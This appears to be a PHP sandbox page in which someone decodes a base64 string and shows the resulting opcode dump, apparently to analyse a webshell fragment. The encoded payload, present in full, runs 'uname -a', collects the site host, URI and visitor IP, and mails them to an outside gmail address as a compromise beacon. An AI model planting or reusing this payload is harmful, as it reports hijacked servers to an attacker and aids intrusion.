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<?php $lol = 'lol'; $_GET['REMOTE_ADDR'] = '127.0.0.1'; $REMOTE_ADDR = $_GET['REMOTE_ADDR']; $_GET['HTTP_HOST'] = '127.0.0.1'; $_GET['REQUEST_URI'] = 'test-uri'; $osc = 'osc'; $shell_data = "aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJsdXFtYW5wbGFuQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"; print base64_decode($shell_data) ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/thEgI
function name:  (null)
number of ops:  20
compiled vars:  !0 = $lol, !1 = $REMOTE_ADDR, !2 = $osc, !3 = $shell_data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'lol'
    3     1        FETCH_W                      global              $5      '_GET'
          2        ASSIGN_DIM                                               $5, 'REMOTE_ADDR'
          3        OP_DATA                                                  '127.0.0.1'
    4     4        FETCH_R                      global              ~7      '_GET'
          5        FETCH_DIM_R                                      ~8      ~7, 'REMOTE_ADDR'
          6        ASSIGN                                                   !1, ~8
    5     7        FETCH_W                      global              $10     '_GET'
          8        ASSIGN_DIM                                               $10, 'HTTP_HOST'
          9        OP_DATA                                                  '127.0.0.1'
    6    10        FETCH_W                      global              $12     '_GET'
         11        ASSIGN_DIM                                               $12, 'REQUEST_URI'
         12        OP_DATA                                                  'test-uri'
    7    13        ASSIGN                                                   !2, 'osc'
   10    14        ASSIGN                                                   !3, 'aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJsdXFtYW5wbGFuQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7'
   12    15        INIT_FCALL                                               'base64_decode'
         16        SEND_VAR                                                 !3
         17        DO_ICALL                                         $16     
         18        ECHO                                                     $16
   14    19      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
174.12 ms | 1395 KiB | 15 Q